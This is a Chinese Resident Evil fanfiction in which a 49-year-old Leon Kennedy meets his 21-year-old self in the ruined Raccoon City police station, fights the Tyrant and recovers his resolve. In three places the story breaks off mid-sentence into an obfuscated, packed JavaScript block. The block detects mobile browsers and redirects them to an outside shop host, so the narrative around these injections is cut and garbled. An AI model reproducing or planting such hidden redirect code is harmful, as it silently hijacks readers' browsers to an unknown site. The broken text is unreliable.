《[生化危机]49岁里昂×21岁里昂》 1. 初见 在满目疮痍的浣熊市中, 破碎的街道上,一辆摩托车正疾驰而过。路旁,那些丧尸依然执着地向骑手伸出腐朽的手。 男人随手抬枪,枪枪爆头,动作行云流水,仿佛这只是日常。 很快,他停在一个破旧的停车场前,他环顾四周,堆积如山的废弃汽车,还有那破损的油罐车。 耳麦里传来女声,“浣熊市警察局应该就在你附近了……” “嗯……就是这儿。” 男人名叫里昂·S·肯尼迪,是一名特工。根据上级通报,有警员在执行与病毒相关的任务时失踪,他奉命前来调查这一系列事件。 而这次任务的关键人物,格蕾丝,被那伙人带到了这里。 浣熊市警察局。 这个地方,他并不陌生。这里是他人生的分水岭,也是一切混乱的起点。 1998年,也就是二十八年前,他还是个刚走出警校的新人警察,满心期待地来此报到。 可病毒爆发了,让这座曾经美好的城市毁于一旦,幸存者寥寥无几…… 这二十八年来……他从不敢停下。他的手时刻握着枪,有时候,他甚至不知道自己究竟在坚持什么。 或许,他只是在背负着这座城市活下去。 替那些没能逃出来的人活着。 穿过小巷,眼前的警察局破败不堪,残垣断壁在灰蒙蒙的天空下显得格外凄凉。 那扇铁门虚掩着,里面应该还有那道铁栓。当年,二十一岁的自己拼了命逃进警察局后,亲手插上了它。那时他在躲避那些暴乱的丧尸。 他伸出手,好像拉开了二十八年前自己锁上的门。 拉动铁栓的瞬间,他眉头微微一皱,这铁栓又处磨损痕迹……太新了。像是最近被人动过。 大概是绑架格蕾丝的那伙人弄的,他们应该就在这儿。 站在那扇熟悉的木门前,他心里五味杂陈,下意识地皱起眉, “嘎吱——” 他缓缓推开门。刹那间,二十八年前的记忆如潮水般涌来—— 丧尸血肉模糊,张开血盆大口嘶吼,尸体被撕成两半,内脏散落一地。 “新人肯尼迪,向您报到……” “很高兴你不在那边,菜鸟……” “wee,Leon!” “现在全靠你了……”,马文警官捂着肚子,脸色铁青地对他说。 “活下去……” 他突然头痛欲裂,不由闭上眼,眉头紧锁。 是体内的病毒又在发作吗?胸口像被火烧一样疼。 而就在这时,一个脚步声陡然传来。 他瞬间睁开眼,眼神锐利如狼,几乎本能地拔出配枪“安魂”,对准了前方。 可当他看清面前的人时,却出现了瞬间的恍惚…… 一个穿着黑色夹克的年轻人,正同样举枪对着他。 那张脸……那张年轻的脸…… “呃,不会吧。这可真是……开了个天大的玩笑。” 年轻人显然也被他的反应速度吓了一跳,但很快稳住心神,举着枪也对准了他,他声音青涩,快速解释道,“嘿……我没有恶意。我是刚来这儿报到的新人,这里究竟发生了什么?怎么突然就变成了这副鬼样子……” 新人肯尼迪先生,在经历了一路丧尸的围追堵截后,好不容易逃进警察局,却发现推开门后像是来到了另一个世界。 这座警局仿佛荒废了二十多年,连天花板都塌了。 他正准备搜查一番,刚刚关上的门却再次打开了。 一个四十多岁,满脸沧桑的男人出现在门口。 肯尼迪看清对方的块头和装备,就知道来者不善。可他没想到对方动作这么快——几乎眨眼间,枪口已经对准了自己的脑袋。 而看清那张中年男人的脸时,肯尼迪心里涌起一股莫名的熟悉感……但他很快压下这奇怪的想法,同样举起了枪。 可下一秒,那个中年男人却嘴角微微勾起。 他那双浅蓝色的眼眸,刚才还锐利如狼,此刻却像是冰面融化,闪过一丝复杂的光芒。他浑身紧绷的肌肉放松下来,竟然就这样直接把枪收回了胸口的枪袋。 肯尼迪愣住了。 他没想到这个看上去冷酷不好惹的男人,会这么轻易地放下枪。 他紧绷的神经也稍稍放松,手中的枪垂了下来。看着对方竟然如此信任自己,肯尼迪不自觉地咽了口唾沫。 这家伙体格这么壮,手臂结实得像是能一拳把他砸死,一看就经验丰富。自己八成不是对手,好在他看起来是个好人。 “嘿……先生,您是这儿的警察吗?我是新人肯尼迪……您知道这儿发生了什么吗?刚才我在外面的时候,这儿还不是这么……破败?就像是风沙侵蚀了三十年……而且刚才还是黑夜,怎么突然变成白天了?究竟发生了什么?” 里昂看着面前这张年轻的脸,心里涌起一股难以言喻的怀念。 他的目光从那张脸移到了那头蓬松的金发上。 自己现在倒是得定时染发了,他可不想让白发显得自己太苍老。 他认真地打量着对方,忍不住走上前,将手搭在对方的肩膀上。 肯尼迪的话顿住了,“呃……警官?” 里昂感受到掌心下的温度,温热的,真实的。不是什么病毒引发的幻觉。 他喃喃道,“说实话,这感觉……挺奇妙的。” “先生……您怎么了?受伤了吗?” 里昂听着肯尼迪刚才的话,渐渐明白了。 这是二十一岁的自己,刚来警察局报到的时刻。他还不知道接下来会发生什么……还没有背负那些沉重的经历……也还没有染上浣熊市的诅咒。 他收回手。黑色手套下,手心上黑色的血丝蜿蜒攀附。 收回手的瞬间,那股温热让他莫名感到一阵刺痒。 里昂握紧拳头,望向肯尼迪,开口道,“我是这儿的警察。菜鸟,你叫什么名字?” 肯尼迪眨了眨他那双清澈好看的蓝眼睛,神情还带着天然的稚气,像只稚嫩的金毛幼犬。 他轻咳一声,“您好,警官。新人肯尼迪,向您报到。” 里昂的记忆仿佛在这一刻重叠。 他望着对方,声音沙哑而认真,“您好,菜鸟。我是里昂·S·肯尼迪。” 肯尼迪瞬间瞪大了眼睛,神情慌张又不可置信,“先生……您没开玩笑吧?” “我像是会开玩笑的人吗?” “……” 肯尼迪噎住了,“可是……这太不可思议了。我……您是我?是未来的我?” 里昂轻笑一声,带着几分自嘲,“怎么,不像吗?还嫌弃上自己了?” “呃……我只是没想到,未来的我会这么壮实……有点不可思议。”肯尼迪说着,环顾四周破败的警局。 结合对方的回答,他渐渐意识到,自己好像穿越到了二十多年后?认真端详面前这张脸,他终于知道那种诡异的熟悉感从何而来了,这分明就是四十多岁的自己。 “是你太瘦了,菜鸟。得多补充营养。”里昂说着,轻轻捶了下肯尼迪的肩膀。对方闷哼一声,往后退了一步。 “叙旧时间到此为止。该工作了,菜鸟。” 里昂越过肯尼迪,走向警局一楼大厅中央。在这本该破旧的大厅里,却出现了不该出现的东西,破旧的木桌上,放着一台监控器…… 他按下耳麦,轻声道,“雪莉,我在警局。” 雪莉的声音传来,带着几分感慨,“你很久没回那儿了。” “是啊……还看到了些熟悉的东西……”里昂说着,瞥了眼身后还在发愣的肯尼迪。 他看向桌上的监控设备,“看来BSAA在这儿设了个临时指挥部……” “还在用吗?”雪莉问。 “不确定……”里昂说着,视线落在那散落的蓝色卡片上。 那是病毒感染前,警局的同事们给他这个新人准备的欢迎会卡片, 本该是,WEE, LEON!【欢迎你,里昂!】 可现在,有人故意拿走了“L”,变成了,WEE, LEON【我们来了,里昂】 里昂拿起桌上的另一张纸片,上面写着,“你谁都救不了……” 他的眼底掠过一抹暗色,嘴唇紧抿。 脑海中瞬间闪过那些画面,被丧尸撕成两半的同事……他亲手杀死的、已经尸变的马文警官……还有那些他没能救下的朋友…… “嘿,监控还开着!这位女士看起来有危险——” 肯尼迪青涩的声音将他从回忆中拉回现实。里昂回头看去,发现一个监控屏幕正亮着。 他走过去,盯着画面,“是那家伙……还有格蕾丝……不好,她有危险。” “雪莉,找到格蕾丝了。” “她在警局里?” 监控画面中,格蕾丝和一个穿白西装的男人站在一起。 “没错,就在这儿……而且已经有人在那儿等着我们了。”里昂快速操控监控器,锁定位置,“我已经找到他们的方位了,现在过去。” “收到。”雪莉应道。 里昂按下警局左侧的拉杆,可门被卡住了。 肯尼迪凑过来,“看来得找东西撬开……” 里昂没说话,径直走向办公室,想找些能用的工具。 推开办公室的门,手电筒的光扫过熟悉的场景。他停在一张办公桌前——桌上的名牌写着,马文·伯拉纳警长。 当年见到马文警长时,他已经身受重伤,知道自己命不久矣。他将安全通行权限卡交给这个刚报到的新人,然后举枪逼他离开, “别管我,去救更多有希望活下去的人。” 最后,是里昂亲手安息了那位可敬的警长。 “伯拉纳警长,警员肯尼迪向您报到。” 身后跟着的肯尼迪感受到了那股深沉的悲伤。他不由自主地走上前,拍了拍里昂的肩膀,安慰道,“会没事的……” 他的手刚搭上去,前面还沉浸在悲痛中的男人瞬间出手—— 一只手扣住他的手腕,另一只胳膊反扭,将他整个人压在了墙上。 “呃!” 这是多年独自执行任务留下的本能反应。里昂下意识完成了这套制敌动作,完全忘了身后还有个人。 当看清被压在墙上的人那头蓬松的金发时、因为距离太近,他甚至闻到了熟悉的洗发水味道,那款早就停产的,他再也没买到过的味道,里昂才猛然回神,立刻松开了手。 肯尼迪被压得生疼,使劲甩了甩手,“先生……我真没想到您这么健忘,这就把我给忘了。” 他的胳膊被压在墙上时,恰好蹭到了突出的铁钉,划开了一道口子。 他脱下夹克外套,露出紧身的黑色作战服,果然看到胳膊上渗出了鲜血。 “抱歉……”里昂立刻取出医疗包,拿出纱布和绷带,开始止血包扎。 肯尼迪本来还有些恼火,但包扎手法如此熟练,很快转移了他的注意力。 “未来的我,包扎手法倒是很熟练。” 里昂轻哼一声,“你以后受伤的机会多着呢。” 肯尼迪的视线落在男人的胳膊上,结实的肌肉上遍布疤痕,有些甚至还没完全愈合…… 再看看自己光洁的手臂,还有比对方白了一个色号的皮肤。男人指尖布满粗糙的老茧,却熟练地为他包扎着。 他低着头,肯尼迪能看到那头棕金色发丝间夹杂的银白。看着看着,心里莫名涌起一阵酸涩…… 他犹豫片刻,轻声问,“先生……我以后的人生……很不平坦吗?” 里昂包扎的手顿了顿。他的长睫微微发颤,停顿了几秒,然后系好绷带,站起身,“怕了?菜鸟?” “怎么可能!”二十一岁的肯尼迪果然被激起了好胜心。 他望向马文警官的办公桌,“我只是觉得……在这座警局里,我好像会经历什么不得了的事。而您……您的遗憾似乎也很多。” “………”四十九岁的里昂张了张嘴,却不知道该说什么。 即便告诉了他又能怎样?二十一岁的里昂,从踏入这座警局的那一刻起,就已经无法挽救任何人了。 他来晚了。 马文警官他们……早就感染了病毒。 面前这个年轻的自己,还拥有那双清澈的蓝眼睛,不过是因为他幸运地穿越到了这里,不必经历那些噩梦。 所以里昂什么都不打算说。那些痛苦的记忆,他一个人背负就好。 “不得了的经历……确实是。不过现在不是说这些的时候。”里昂站起身,继续搜查,“我刚才忘了你的存在。” 肯尼迪吐槽道,“喂……我有那么不起眼吗?” “我说过,我以前是警察,但现在是一名特工。我正在执行调查任务,其中的关键人物格蕾丝,就是刚才监控里那个短发女孩,她被人掳走了。我必须找到她。” 肯尼迪毕竟是警校的优秀毕业生,很快进入状态,“需要我做什么?” “嗯……需要你把你那张白净的脸遮起来。”里昂从口袋里掏出一个防毒面具递给他,“然后跟在我屁股后面。” “先生,我也是警校第一名毕业的优秀学员。您或许可以给我更重要的任务?而且我为什么遮脸?” “如果你不想被抓去做研究素材的话,随你。”里昂打断他,“毕竟我也算小有名气。” “……” 搜查很快有了结果,他们找到了千斤顶。 “看来我们可以过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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格蕾丝惊讶地喊道,“艾米丽!!” “算是吧……但不是你遇到的那个。” “无数次尝试,都是失败……” 格蕾丝怒视着齐诺,“这到底是什么意思?!” “她们全都是你的复制体。没有一个有用,全部都被处理了。”齐诺冷静地陈述着残酷的事实,语气冰冷如刀,却又带着某种癫狂的理所当然。 “他们没能复制出斯宾塞的钥匙。但我们现在有原版了——也就是你。你能解开方舟。” “所以……一切都是因为我?我不是妈妈亲生的……”格蕾丝喘不上气,身体止不住地颤抖。 齐诺还在喋喋不休。 “啊——!”格蕾丝捂着头,眼前闪过母亲死去的景象,身体剧烈颤抖。 里昂瞬间从暗处闪出,“格蕾丝!!” 格蕾丝望向里昂,踉跄着向前迈了一步。她眼神迷离,喃喃道,“妈……?”然后软倒在地。 里昂举起安魂,毫不犹豫地向齐诺开枪。可对方的身形鬼魅般闪躲,像是画面抽帧一般,竟悉数避开了! “怎么会……?” 齐诺嘴角微微上扬,“肯尼迪先生,我预感你差不多该登场了——” 可是他话音未落,门外突然冲出一个戴着防毒面具的青年,举枪便射向齐诺的头颅。 齐诺虽被里昂吸引了注意力,但那诡异的反应速度仍在。 子弹接近的瞬间,他偏头躲避,却还是慢了半拍, 子弹擦过他的耳朵。 “呃……哪儿来的小老鼠?”齐诺墨镜下的眼睛死死盯着门口的青年。那身影……有种说不出的熟悉感。 不过现在不是计较这个的时候。 他阴冷一笑,“抱歉,我现在可没时间陪你们玩。那么……祝你们玩得开心。” 肯尼迪不可思议地低声道,“这家伙……不是人类吧?” 齐诺打了个响指。 天花板传来轰鸣声。下一秒,顶板碎裂,一个穿着黑色风衣,犹如黑塔般的怪物轰然落地。 肯尼迪叫道,“哦,我的老天……” 里昂吐槽道,“这张脸……我记得。” “咚——咚——” 怪物动作迅捷如雷。它一拳砸向里昂,里昂堪堪躲过,却被另一拳击中腹部,整个人撞进墙里。 “呃……”,里昂痛呼道,“我也记得这个……” 肯尼迪说着,连忙向怪物开火。可普通子弹打在它身上,简直像挠痒痒,“哦,不是吧……这合理吗?” 身后的里昂喊道,“快走!!” 肯尼迪急忙退到一旁。 一颗“安魂”子弹击穿天花板,大块碎石砸向怪物,瞬间将它淹没。 肯尼迪眼前一亮,“哦,酷!” 他伸出手,准备拉地上的里昂起来。 里昂本想自己站起来,却看到那只伸向自己的手,年轻,光洁,还没有磨出满手老茧…… 肯尼迪关切地问,“您没事吧?还好吗?” 里昂那双淡色的眼眸微微眯起,望向肯尼迪。那头金发在昏暗的光线中格外晃眼。他的心跳莫名快了半拍…… 他握住肯尼迪的手,借力站起身。 肯尼迪自然地松开手。里昂感受着隔着手套残留的温度,掌心一阵刺痒。 可恶,这病毒真是……让人烦躁。 他站直身体,看向那堆碎石废墟。 “离远点。这点手段干不掉这东西。” “它究竟是什么?还有那个能躲子弹的混蛋?” “你只需要知道他们是敌人就好。我会解决。当务之急是格蕾丝。” “您这话真让人不耐烦……别把我当孩子好吗?” “在我眼里,你就是孩子。” “嘿,您多大?四十一?四十五?” 里昂没有再理会他,按下耳麦,“雪莉,这附近有座孤儿院,对吗?” “是的。怎么了?” “我去刨个根,问个底。” 他将“安魂”装满子弹,向走廊尽头走去。 被甩在身后的肯尼迪只好快步跟上,“说实话,我觉得我们应该算是队友。您或许可以在路上告诉我现在的情况——这样我才好帮您。” “队友……?” 里昂的手顿了顿,没有说话。 他从来都是孤身一人。没有队友。 他不过是个背负着幸存者们活下去的傀儡罢了。 或许很快,病毒就会带走他。 “看来得找个地方把你送走。”他说。 “诶?” 2. 刺猬 雪莉的声音从耳麦中传来,“我刚才把坐标发给你了。” “收到。”里昂看向肯尼迪,“我们先离开这栋警局。” 肯尼迪却不打算让刚才那番话就这么翻篇,“嘿,您刚才是不是说要把我送走?” 里昂毫不客气,“你一个毫无经验的菜鸟留在这儿,只会碍事。” 肯尼迪本就肤色偏白,此刻脖颈都泛起了薄红,“行,行,我碍事。那就各走各的吧,您这位满嘴没一句实话的老头,什么都不肯说。我真是纳闷,我中年的时候怎么能这么难沟通。” 二十一岁的年轻人到底是气盛。而走到岔路口时,他故意选了另一条路。 里昂正默算着子弹的余量,却是听见身后的脚步声拐了方向。 “别这么意气用事……”他低声抱怨,他不过是多嘴了一句罢了。 而就在这时,脚下的地板传来细微的震颤。 “肯尼迪!” 里昂猛地回头,果然是看见肯尼迪已经走出几步。他两三步爆发出惊人的速度,一把攥住对方的胳膊,猛地将人拽了回来。 而下一秒,走廊一侧的墙壁轰然碎裂。 那头黑塔般的怪物破墙而出,猩红的眼睛死死锁住两人。 肯尼迪吓得脸色煞白,整个人僵在原地。年轻人终究是年轻人,根本没有经验,对这种突发状况根本来不及反应,“holy shit!” 而里昂一把拉住肯尼迪往另一条走廊冲去。 可没跑出几步,前方又是一阵地动山摇。 墙壁再次崩裂,高大的暴君伫立在弥漫的灰雾之中,挡住了去路。 “我可没空陪你玩。”,里昂单手举枪,连发数弹。 他侧目瞥了一眼肯尼迪,见对方终于回过神来,便拍了拍他的肩膀,“跟着我!别发愣!” 里昂带着肯尼迪穿过房间,眼前出现一道楼梯,“肯尼迪,这边!” 不过楼梯中间塌了一大块,露出下方深不见底的缺口,如果稍有不慎,便是万丈深渊。 肯尼迪面露难色,这个高度,他还从未尝试过。 里昂自然看出了他的犹豫。这时的自己还没经过特工训练,身体素质远未达到巅峰。 “我先来。”他说。 里昂助跑几步,单腿起跳,双手稳稳扣住对面残缺的楼梯平台。结实的双臂猛然发力,流畅的肌肉线条在动作中绷紧,将整个人带了上去。 “呃——” 他喘了口气,他也不得不承认,自己到底是老了。后背拉扯的肌肉隐隐作痛。 而回头望去,里昂是正对上肯尼迪惊叹的目光。 那双浅蓝色的眼睛亮得像星星,“您简直是超人。” 本来这种崇拜的眼神,里昂在执行任务时见过太多次。 可这一次,不知怎的,竟让他这把老脸有些发烫。他清了清嗓子,“快点。我拉你上来,那东西马上就到。” “OKOK。”肯尼迪深吸一口气,学着里昂的动作助跑起跳。可指尖堪堪擦过平台边缘,整个人便往下坠去。 不过,里昂眼疾手快,单手攥住他的手腕,双臂发力将他拽了上来。 “呼……” 肯尼迪站稳后,他跟在里昂身后,悄悄比了比两人胳膊的粗细。前方男人紧身的黑色作战服下,后背的肌肉线条结实分明。那高大的身躯,莫名让人觉得安心。 他不由自主地抬起自己的手臂比了比,又捏了捏自己的肌肉。 老天,原来我以后能这么壮? 走在前面的里昂突然顿住脚步,“有东西……” 话音未落,前方的墙壁再次炸裂,暴君手持一截破损的直升机尾翼直接是破墙而出。 里昂骂了一句,“饶了我吧。” 他带着肯尼迪穿过房间,沿着走廊狂奔。身后沉重的脚步声如影随形,每一下都像是敲在心口上。 而前方终于透出光亮,他们逃出了建筑,来到一处开阔的大厅。 里昂回身举枪,眼神坚毅如狼,他死死盯着来路。 不过幸好,暴君总算没有再追上来。 这时,雪莉的声音响起,“你那边还好吗?” “我很好。”里昂语气平淡。 一只手搭上他的肩膀。 他不由闷哼了一声,刚才被暴君砸到墙上时,肩背早已渗血。方才那一通剧烈动作,肌肉酸痛得厉害。 “哈……嘴硬。”肯尼迪忍不住嗤笑。就算是铁打的身子,也不可能一点感觉都没有吧。 “长官,我觉得您需要包扎一下。” 耳麦那头的雪莉顿了顿,“里昂,你那边还有别人?” 肯尼迪抢先答道,“呃,您好啊小姐,我是里昂长官的助手。” “呃……你好。” 里昂瞪了肯尼迪一眼,转过身去,“没什么,不过是偶然遇到的一个年轻人罢了。” 雪莉若有所思,“里昂,我总觉得这声音有些耳熟……是我认识的人吗?” 不过里昂没有回答。 而这时,一架直升机从天际划过。 他眯起眼睛,“格蕾丝应该已经被带走了。” 雪莉问,“对了,你刚才为什么突然问起孤儿院?” “他们带格蕾丝去‘方舟’了。入口就在孤儿院。” “‘方舟’是什么?” “不清楚。但想必是什么要紧的地方。” “明白了。坐标我已经发给你了。” “好。” 肯尼迪不解地问,“那位雪莉女士不像坏人应该是自己人,您为什么不告诉她?” 里昂白了他一眼,“分清主次好吗,小鬼?我该怎么解释,说我是遇见了二十岁的自己?谁会信?饶了我吧。别人大概只会以为我被病毒折磨得神志不清。这解释起来可太费劲了。” 肯尼迪眨了眨眼,恍然大悟,“原来如此……” 下一秒, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404832|200450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他抓住了话里的关键词,“什么病毒?” “…………” 里昂沉默了一瞬,生硬地转了话题,“来吧,帮我包扎。不是你说的吗?我现在可疼得厉害。后背那个位置我自己够不着。” 年轻的肯尼迪果然被牵着鼻子走了。他看见鲜血已经顺着袖口淌下来,连忙应道,“好的好的,您忍一下。” 里昂单手脱下黑色作战服,露出结实的身躯。午后的阳光下,那身肌肉如同精心雕琢的雕塑,线条近乎完美。 他找了块碎石坐下,侧头看向肯尼迪。那张轮廓分明的脸,还有那双浅色的瞳孔,莫名让人有些口干舌燥。 肯尼迪暗暗咽了一下口水,心里只道,这位可真是筋肉魔鬼。 而心底那丝莫名的躁动,被年轻的警官死死压了下去,只当不过是幻觉。 他看见里昂后背大片淤青,肩胛骨处的伤口已经翻出红肉,不由得放轻了动作,小心翼翼地将伤药撒上去。 里昂皱起眉,闷哼了一声。 “您忍一忍……是不是太疼了?”肯尼迪看着这伤口,自己都觉得肉痛。 这人方才竟还一副若无其事的样子,也太能忍了。 “呃……小问题罢了。呃……嘿,你轻点儿!”里昂猛地攥紧拳头,脸色瞬间发白,“你这手法也太生疏了。” “非常抱歉……”肯尼迪想起听人说过,转移注意力能缓解疼痛,便开口问道,“对了……刚才谢谢您。” “什么?” “谢谢您把我拉回来。”现在想想方才那冲动的举动,实在是蠢透了。 “你也知道自己蠢了?” “嘿!” “呃……轻点。” 肯尼迪认真道,“反正我十分感谢您。但是您别想甩开我,我得帮您。” “帮我?”里昂的睫毛微微垂下来。 肯尼迪说,“我看得出来,这任务绝对凶险。而且您的身体……虽说强壮,可您那双眼睛里的疲惫,已经远远超出了年龄该有的样子。您到底多大年纪?就算五六十岁的人,也不该这般沧桑。” “………” 里昂心头一紧,没想到竟被对方看出了这一点。这些年他被病毒折磨身心,自然精神状况并不太好,他不动声色地将手套拢好。 他故作不以为意地嗤笑一声,“怎么,觉得我老了,想来帮我?” 肯尼迪无奈道,“我只是想感谢您方才的救命之恩,这也不行吗?” “算不上救命之恩。再说,救你也算是救我自己,你若死了,按什么因果律来算,或许我也活不成。” 肯尼迪叹了口气,“难道中年的我,就像一只炸毛的刺猬,要把所有好意都拒之门外吗?” “……” 里昂一时语塞,像是被戳中了什么痛处。他别过脸去,“不用你管。我会叫雪莉派一架直升机过来。” “……” 肯尼迪只好无奈地叹了口气。 3. 转变 肯尼迪跟在里昂身后,却怎么也想不明白自己究竟说错了什么话。 方才还让人觉得不难相处的男人,忽然又变回了那副冷峻不好惹的模样。 而两个人就这么沉默着往前走,气氛莫名有点尴尬。 肯尼迪张了张嘴,想说点什么,又不知道该说什么才好。或许……确实是他太自以为是了。他不过是个刚毕业的年轻警察,也许对方说得对。 “…………” 走在前面的里昂,心里却烦躁得厉害,甚至他想不顾形象地吼上几声。 他不爽地将那头精心打理过的棕金色头发往后撩起,而露出被岁月刻下疤痕的额头。 Damn。 曾经身为警察的那个我,其实在那个晚上就已经死了。 都拜安布雷拉公司的生化武器所赐,那场灾难之后,世界变了。而他自己,似乎也永远困在了浣熊市里。 而无时无刻,他都在想那个晚上的事情。 他从卷帘门下爬出来,血肉模糊的丧尸抱着他的腿不放。当时他害怕极了,那种死亡的威胁,至今仍记得清清楚楚。 是马文警官救了他。那是个好警察。 他还向着那位可敬的警长保证过,“警长,我会阻止这一切的。我向您保证。” 可事实呢? 热血沸腾的年轻自己,曾以为自己能改变这个世界。 可他与生化恐怖主义抗争了几十年,从二十一岁到四十九岁,那些可怕的病毒和丧尸,依然无处不在。 而他根本无能为力。 也许从一开始就错了。他不该痴心妄想,凭一己之力铲除这一切。 所以,他才一直不肯把这些事告诉肯尼迪。 这是个好机会。 让肯尼迪像其他警察一样,找个好地方,当一个好警察,守护人民,维护他那份纯净的梦想。 这样的人生,让他一个人经历过就够了。 里昂按下耳麦,“雪莉,直升机还要多久?” “二十分钟。这已经是我能争取到的最快了,里昂。” “好。” “……”,肯尼迪跟在后面,一言不发。 “……” 里昂按照雪莉给的路线走着,却经过了一个极其熟悉的地方。 他愣住了。 脚步不由自主地停了下来,目光落在肯多枪械店上。 “这里一点都没变……” 他像是被勾走了魂一样走了过去,目光扫过周围那些熟悉的一切。 忽然,剧烈的头痛袭来。那些记忆如潮水般涌来,根本无法阻挡。 浣熊市那个雨夜。 他为了弄到武器走进肯多枪械店,遇见了那位他永远无法忘记的父亲。 他的女儿已经快要尸变了,可他却不肯离开,放弃了生的希望。 那个雨夜里,那位父亲抱着随时可能咬向自己的女儿。 “对,艾米,爸爸一直都在这里,陪着你,知道吗?” “外面那些该死的怪物,看看他们都做了什么!” “你是警察,你总该知道些什么!为什么会发生这些事情,为什么!” “为什么……”,里昂捂着头,疼痛几乎要将他撕裂,他不禁喃喃出声。 “喂!您怎么了?头疼吗?身上带药了吗?”肯尼迪连忙扶住他。 里昂满头大汗,恍惚间抬起头,看着面前的年轻人。他按着肯尼迪的肩膀,摇晃的身体总算稳住了。 “呼……没事。”他使劲甩了甩头,却没有注意到,那些黑色的血丝已经爬到了手腕处,连黑手套都遮不住了。 里昂站直身体,侧头望向那间独立的砖房。 那扇绿色的门。 最后,那位父亲抱着女儿,把自己关进了那个房间里。 然后是一声枪响。 在二十八年后的今天,里昂迈着沉重的步伐走到门前,握住门把手。冰凉的触感让他起了一层鸡皮疙瘩。 “咔哒——” 门开了。一阵微风吹过。 他垂下目光。在这间逼仄的房间里,赫然躺着一具骷髅,而那骷髅的头骨,分明属于一个成年男性。 那个雨夜的谜底,此刻就在眼前。 那位父亲,终究是不忍心看着女儿变异,选择了吞枪自尽。 里昂忽然觉得全身的力气都被抽走了。他单膝跪倒在那具骸骨面前。 记忆不受控制地涌上来, “这可是我的女儿!是我的小天使!” “你是警察,你总该知道些什么!为什么会发生这些事情,为什么!” “………” 里昂攥紧了拳头,死死盯着那堆白骨。那双沧桑的浅蓝色眼眸里,隐隐泛起水光。 “对不起……真的很对不起……” 肯尼迪站在一旁,被那股巨大的悲伤压得几乎喘不过气来。那悲伤像要将他整个人吞没一般。他的心也跟着揪了起来。 他不禁开口,“先生……也许您可以告诉我到底发生了什么。不管什么问题,总能找到解决的办法……呃!” 里昂猛地起身,一把攥住肯尼迪的领子,将他狠狠按在墙上。 “什么都能解决?里昂·S·肯尼迪!你永远是个说大话的混蛋!你根本什么用都没有!你以为凭着善良和那套所谓的正义与法律,就能盼着这个世界变好?我告诉你那是不可能!你和那群混蛋抗争了二十多年,可是什么用都没有,这个该死的世界还是一如既往。有的时候,你不如先想想自己手里有没有枪!” 他从胸口的枪袋里抽出那把“安魂”,抵在肯尼迪面前。 “而且……而且……你谁都救不了!” 他将枪口对准了肯尼迪。 肯尼迪瞪大了眼睛。那双蓝色的眸子里闪过一丝茫然,但很快便沉静下来,变得无比坚定。 他根本不怕抵在胸口的手枪。他冷静地直视里昂,“我谁都救不了?不……至少,我能救您。” 里昂眼角微微抽搐,嗤笑一声,“你说大话的本事倒是一点没变。” 肯尼迪挺直了身体,让枪口正正抵在自己胸口。 “我相信我自己。”他说,“我大概猜到了,您拼了这么多年,拼到中年,头发都花白了,可结果却完全不尽如人意。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404833|200450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 里昂的手微微颤抖。 “但是……我相信……您只是累了。您也许变了,但我相信我自己。我想要保护他人、帮助他人的那颗心,永远不会变,这是我当警察的初衷。” “咔嚓——” 面前的场景像是玻璃一般碎了。 面前肯尼迪,突然与二十八年前的自己重叠在了一起。 那个雨夜里,他里昂·S·肯尼迪也曾信誓旦旦地喊过, “我要找到这件事的真相,阻止那个罪魁祸首!” “我就是为了帮助这样的人,才选择当警察的!” 里昂头痛欲裂,手指彻底失了力气。“安魂”从手中滑落,视线也开始模糊。 “里昂!”肯尼迪一把扶住快要倒下的他,“您没事吧?您满头都是汗……” 而这时,他看见了里昂手腕上那些诡异的黑色血丝。 “这是什么!”肯尼迪大惊失色。 里昂喘着粗气,很快调整了呼吸,“没什么。” 还没等肯尼迪追问,这间红砖房忽然开始震颤—— 那是暴君追过来了。 肯尼迪心头一紧,“是那个怪物吗?” 里昂的眼神不再像方才那样迷茫。他看着地上的骸骨,声音低沉却坚定,“不会再有下一次了。” 他转向面前年轻的自己,想起方才肯尼迪说的那些话,嘴角不自觉地微微勾起。 肯尼迪被他盯得有些发毛。 里昂却忽然开口,语气里带着一种莫名的意味,“就算走上警察这条路,随时都可能丢掉性命,而且也许永远都只是杯水车薪?” 肯尼迪的眼神坚定起来,“如果真是这样……只要我的初心不变,这些都不过是沿途必经的风景罢了。” “哈哈哈哈哈……”里昂忽然笑出了声。他已经很久很久没有这样开怀大笑过了。 “喂,里昂先生,我的话有这么好笑吗?” “哈哈……”里昂笑着笑着,咳了几声。他借着肯尼迪的肩膀撑起身子,站稳了,“不……不。我只是想庆祝,你方才说的那些大话,实现了。” “什么实现了?” 午后的阳光下,那头棕金色的头发泛着淡淡的光。里昂那双淡蓝色的眼睛注视着肯尼迪,嘴角微微上扬。他将“安魂”重新插回胸前的枪袋,说道: “你成功了。你救了我。” “……!” 肯尼迪的瞳孔骤然放大。他望着光里的这个男人,心跳完全不受控制地加速,耳朵像是被什么烫过一样烧了起来。 他结结巴巴地说,“您……您没事就好……” 